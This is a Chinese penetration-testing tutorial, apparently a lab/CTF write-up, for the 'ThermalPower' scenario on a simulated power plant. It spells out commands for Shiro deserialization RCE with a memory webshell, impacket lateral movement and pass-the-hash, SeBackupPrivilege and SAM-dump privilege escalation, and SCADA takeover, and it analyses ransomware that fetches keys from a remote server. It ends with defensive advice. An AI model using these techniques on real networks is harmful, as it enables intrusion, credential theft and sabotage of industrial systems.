春秋云境-ThermalPower
字数 1763 2025-08-23 18:31:18

春秋云境-ThermalPower 渗透测试教学文档

场景概述

"火创能源"公司是一家电力生产企业,由于未充分重视网络安全威胁,错误地将敏感区域服务配置在公网上,导致外部APT组织可以轻松访问这些服务。攻击者最终控制了电力分配、生产流程和其他关键设备,并部署了勒索病毒。

场景关键词:内网渗透、Shiro、SCADA、工控安全

前置知识

  1. Windows提权技术:SeBackupPrivilege权限利用
  2. Heapdump内存泄露分析
  3. Shiro反序列化漏洞利用
  4. Windows注册表SAM转储技术
  5. .NET程序逆向分析
  6. RSA/AES加密算法及解密技术

工具准备

攻击路径详解

第一关:公网服务评估与立足点建立

  1. 外网信息收集

    fscan -h 121.89.201.231 -nobr -np
    

    发现开放端口:22(SSH)、8080(Web)

  2. Web服务探测

    • 发现Spring Boot Actuator端点暴露
    • 目录扫描发现多个敏感端点:
      /actuator/env
      /actuator/beans
      /actuator/heapdump
      
  3. Heapdump内存泄露利用

    • 下载内存转储文件:
      http://121.89.201.231:8080/actuator/heapdump
      
    • 使用heapdump分析工具提取信息:
      java -jar heapdump.jar "heapdump" > 1.txt
      
    • 发现Shiro密钥:
      ==CookieRememberMeManager(ShiroKey)
      algMode = CBC, key = QZYysgMYhG6/CzIJlVpR2g==, algName = AES
      
  4. Shiro反序列化RCE

    • 使用ShiroAttack2工具:
      URL: http://121.89.201.231:8080
      SHIRO KEY: QZYysgMYhG6/CzIJlVpR2g==
      构造链: CommonsBeanutils1
      回显方式: AllEcho
      
    • 注入冰蝎内存马,获取flag01:
      flag01: flag{b5b1729d-3c03-4bb1-bb9c-056b2e68975f}
      
  5. 内网信息收集

    • 发现内网IP:172.22.17.213
    • 上传fscan进行内网扫描:
      ./fscan -h 172.22.17.213/24 -np -nobr
      
    • 发现关键资产:
      172.22.17.6: WORKGROUP\WIN-ENGINEER
      

第二关:SCADA工程师PC接管与权限提升

  1. 敏感信息泄露

    • 通过FTP匿名登录获取内部资料:
      http://172.22.17.6/火创能源内部资料/SCADA.txt
      
    • 发现SCADA系统管理员凭据:
      WIN-SCADA: 172.22.26.xx
      Username: Administrator
      Password: IYnT3GyCiy3
      
    • 内部通知揭示密码策略:
      初始密码 = 账户名(小写拼音) + @ + 工号
      
  2. 横向移动尝试

    • 使用impacket工具尝试WMI执行:
      python wmiexec.py chenhua:"chenhua@0813"@172.22.17.6 -codec gbk
      
    • 遇到rpc_s_access_denied错误,改为RDP登录
  3. 权限提升方法一:SeBackupPrivilege

    • 检查当前权限:
      whoami /priv
      
    • 启用SeBackupPrivilege:
      Import-Module .\EnableSeBackupPrivilege.ps1
      
    • 创建diskshadow脚本(s.dsh):
      set context persistent nowriters
      add volume c: alias mydrive
      create
      expose %mydrive% z:
      
    • 执行备份并提取flag02:
      diskshadow /s s.dsh
      robocopy /b z:\Users\Administrator\flag\ . flag02.txt
      
      flag02: flag{9086c9a7-0f32-4c7a-a29e-ce3ca30465d9}
      
  4. 权限提升方法二:注册表SAM转储

    • 导出SAM和SYSTEM:
      reg save hklm\sam c:\Temp\sam
      reg save hklm\system c:\Temp\system
      
    • 本地使用secretsdump提取哈希:
      python secretsdump.py -sam sam -system system LOCAL
      
    • 使用管理员哈希登录获取flag02:
      python wmiexec.py administrator@172.22.17.6 -hashes :f82292b7ac79b05d5b0e3d302bd0d279 -codec gbk
      

第三关:SCADA工程师站接管

  1. 内网信息收集

    ./fscan -h 172.22.26.213/24 -np
    

    发现目标:172.22.26.11 (WIN-SCADA)

  2. 使用获取的凭据登录

    • RDP登录SCADA系统:
      Username: Administrator
      Password: IYnT3GyCiy3
      
    • 操作SCADA界面启动锅炉,获取flag03:
      flag{bcd080d5-2cf1-4095-ac15-fa4bef9ca1c0}
      

第四关:数据库备份分析与勒索文件解密

  1. 发现勒索痕迹

    • 桌面发现勒索信息
    • 找到被加密的数据库文件:ScadaDB.sql.locky
    • 发现勒索程序:C:\Lockyou.exe
  2. .NET程序逆向分析

    • 使用dnSpy/dotPeek反编译Lockyou.exe
    • 关键代码分析:
      public AESCrypto() {
          this.BACKEND_URL = "http://39.101.170.47/";
          this.PRIVATE_KEY = this.GetHttpContent(this.BACKEND_URL + "privateKey");
          this.AES_KEY_ENC = this.GetHttpContent(this.BACKEND_URL + "encryptedAesKey");
          this.AES_KEY = this.DecryptRSA(this.AES_KEY_ENC, this.PRIVATE_KEY);
      }
      
  3. 获取解密密钥

    • 加密的AES密钥(encryptedAesKey):
      lFmBs4qEhrqJJDIZ6PXvOyckwF/sqPUXzMM/IzLM/MHu9UhAB3rW/XBBoVxRmmASQEKrmFZLxliXq789vTX5AYNFcvKlwF6+Y7vkeKMOANMczPWT8UU5UcGi6PQLsgkP3m+Q26ZD9vKRkVM5964hJLVzogAUHoyC8bUAwDoNc7g=
      
    • RSA私钥(privateKey):
      <RSAKeyValue>
          <Modulus>uoL2CAaVtMVp7b4/Ifcex2Artuu2tvtBO25JdMwAneu6gEPCrQvDyswebchA1LnV3e+OJV5kHxFTp/diIzSnmnhUmfZjYrshZSLGm1fTwcRrL6YYVsfVZG/4ULSDURfAihyN1HILP/WqCquu1oWo0CdxowMsZpMDPodqzHcFCxE=</Modulus>
          <Exponent>AQAB</Exponent>
          <P>2RPqaofcJ/phIp3QFCEyi0kj0FZRQmmWmiAmg/C0MyeX255mej8Isg0vws9PNP3RLLj25O1pbIJ+fqwWfUEmFw==</P>
          <Q>2/QGgIpqpxODaJLQvjS8xnU8NvxMlk110LSUnfAh/E6wB/XUc89HhWMqh4sGo/LAX0n94dcZ4vLMpzbkVfy5Fw==</Q>
          <DP>ulK51o6ejUH/tfK281A7TgqNTvmH7fUra0dFR+KHCZFmav9e/na0Q//FivTeC6IAtN5eLMkKwDSR1rBm7UPKKQ==</DP>
          <DQ>PO2J541wIbvsCMmyfR3KtQbAmVKmPHRUkG2VRXLBV0zMwke8hCAE5dQkcct3GW8jDsJGS4r0JsOvIRq5gYAyHQ==</DQ>
          <InverseQ>JS2ttB0WJm223plhJQrWqSvs9LdEeTd8cgNWoyTkMOkYIieRTRko/RuXufgxppl4bL9RRTI8e8tkHoPzNLK4bA==</InverseQ>
          <D>tuLJ687BJ5RYraZac6zFQo178A8siDrRmTwozV1o0XGf3DwVfefGYmpLAC1X3QAoxUosoVnwZUJxPIfodEsieDoxRqVxMCcKbJK3nwMdAKov6BpxGUloALlxTi6OImT6w/roTW9OK6vlF54o5U/4DnQNUM6ss/2/CMM/EgM9vz0=</D>
      </RSAKeyValue>
      
  4. 解密流程

    • 步骤1:将XML格式私钥转换为PEM格式
    • 步骤2:使用RSA私钥解密encryptedAesKey得到AES_KEY
    • 步骤3:使用AES_KEY解密ScadaDB.sql.locky
  5. 解密脚本实现

    # RSA解密获取AES_KEY
    def rsa_decrypt(data):
        private_key = """-----BEGIN PRIVATE KEY-----..."""
        data = base64.b64decode(data)
        priobj = Cipher_pkcs1_v1_5.new(RSA.importKey(private_key))
        return priobj.decrypt(data, None)
    
    # AES解密文件
    def decrypt_file(encrypted_filepath, output_filepath, key):
        with open(encrypted_filepath, 'rb') as f:
            data = f.read()
        iv = b'\x00'*16  # 或从文件前16字节获取实际iv
        decryption_result = aes_cbc_decrypt(iv, key, data)
        with open(output_filepath, 'wb') as f:
            f.write(decryption_result)
    
    # 主流程
    encryptedAesKey = "lFmBs4qEhrqJJDIZ6PXvOyckwF/sqPUXzMM..."
    key = rsa_decrypt(encryptedAesKey)
    decrypt_file("ScadaDB.sql.locky", "ScadaDB.sql", key)
    
  6. 获取flag04

    • 解密后分析ScadaDB.sql文件,得到:
      flag04: flag{63cd8cd5-151f-4f29-bdc7-f80312888158}
      

总结与防护建议

攻击路径总结

  1. 通过暴露的Actuator端点获取Heapdump
  2. 从内存中提取Shiro密钥实现RCE
  3. 内网横向移动至工程师PC
  4. 利用SeBackupPrivilege或SAM转储提权
  5. 接管SCADA工程师站
  6. 逆向分析勒索软件解密数据库

安全防护建议

  1. 公网服务安全

    • 限制Actuator端点的访问
    • 避免使用默认或弱加密密钥
    • 及时更新存在漏洞的框架
  2. 内网安全

    • 实施网络分段隔离
    • 禁用不必要的共享和匿名访问
    • 定期审计内部文档存储安全
  3. 权限管理

    • 遵循最小权限原则
    • 监控特权账户的使用
    • 禁用或限制SeBackupPrivilege等危险权限
  4. 工控系统安全

    • 工控系统与办公网络严格隔离
    • 实施多因素认证
    • 建立操作审计日志
  5. 数据安全

    • 实施定期备份
    • 加密敏感数据
    • 制定应急响应计划应对勒索攻击
春秋云境-ThermalPower 渗透测试教学文档 场景概述 "火创能源"公司是一家电力生产企业,由于未充分重视网络安全威胁,错误地将敏感区域服务配置在公网上,导致外部APT组织可以轻松访问这些服务。攻击者最终控制了电力分配、生产流程和其他关键设备,并部署了勒索病毒。 场景关键词 :内网渗透、Shiro、SCADA、工控安全 前置知识 Windows提权技术:SeBackupPrivilege权限利用 Heapdump内存泄露分析 Shiro反序列化漏洞利用 Windows注册表SAM转储技术 .NET程序逆向分析 RSA/AES加密算法及解密技术 工具准备 信息收集: fscan 目录扫描: dirsearch Shiro利用: ShiroAttack2 内网代理: frp 横向移动: impacket 提权工具: EnableSeBackupPrivilege.ps1 逆向工具: dnSpy 加密工具: SSL工具 、 RSA工具 攻击路径详解 第一关:公网服务评估与立足点建立 外网信息收集 发现开放端口:22(SSH)、8080(Web) Web服务探测 发现Spring Boot Actuator端点暴露 目录扫描发现多个敏感端点: Heapdump内存泄露利用 下载内存转储文件: 使用heapdump分析工具提取信息: 发现Shiro密钥: Shiro反序列化RCE 使用ShiroAttack2工具: 注入冰蝎内存马,获取flag01: 内网信息收集 发现内网IP:172.22.17.213 上传fscan进行内网扫描: 发现关键资产: 第二关:SCADA工程师PC接管与权限提升 敏感信息泄露 通过FTP匿名登录获取内部资料: 发现SCADA系统管理员凭据: 内部通知揭示密码策略: 横向移动尝试 使用impacket工具尝试WMI执行: 遇到 rpc_s_access_denied 错误,改为RDP登录 权限提升方法一:SeBackupPrivilege 检查当前权限: 启用SeBackupPrivilege: 创建diskshadow脚本(s.dsh): 执行备份并提取flag02: 权限提升方法二:注册表SAM转储 导出SAM和SYSTEM: 本地使用secretsdump提取哈希: 使用管理员哈希登录获取flag02: 第三关:SCADA工程师站接管 内网信息收集 发现目标:172.22.26.11 (WIN-SCADA) 使用获取的凭据登录 RDP登录SCADA系统: 操作SCADA界面启动锅炉,获取flag03: 第四关:数据库备份分析与勒索文件解密 发现勒索痕迹 桌面发现勒索信息 找到被加密的数据库文件: ScadaDB.sql.locky 发现勒索程序: C:\Lockyou.exe .NET程序逆向分析 使用dnSpy/dotPeek反编译Lockyou.exe 关键代码分析: 获取解密密钥 加密的AES密钥(encryptedAesKey): RSA私钥(privateKey): 解密流程 步骤1:将XML格式私钥转换为PEM格式 步骤2:使用RSA私钥解密encryptedAesKey得到AES_ KEY 步骤3:使用AES_ KEY解密ScadaDB.sql.locky 解密脚本实现 获取flag04 解密后分析ScadaDB.sql文件,得到: 总结与防护建议 攻击路径总结 通过暴露的Actuator端点获取Heapdump 从内存中提取Shiro密钥实现RCE 内网横向移动至工程师PC 利用SeBackupPrivilege或SAM转储提权 接管SCADA工程师站 逆向分析勒索软件解密数据库 安全防护建议 公网服务安全 限制Actuator端点的访问 避免使用默认或弱加密密钥 及时更新存在漏洞的框架 内网安全 实施网络分段隔离 禁用不必要的共享和匿名访问 定期审计内部文档存储安全 权限管理 遵循最小权限原则 监控特权账户的使用 禁用或限制SeBackupPrivilege等危险权限 工控系统安全 工控系统与办公网络严格隔离 实施多因素认证 建立操作审计日志 数据安全 实施定期备份 加密敏感数据 制定应急响应计划应对勒索攻击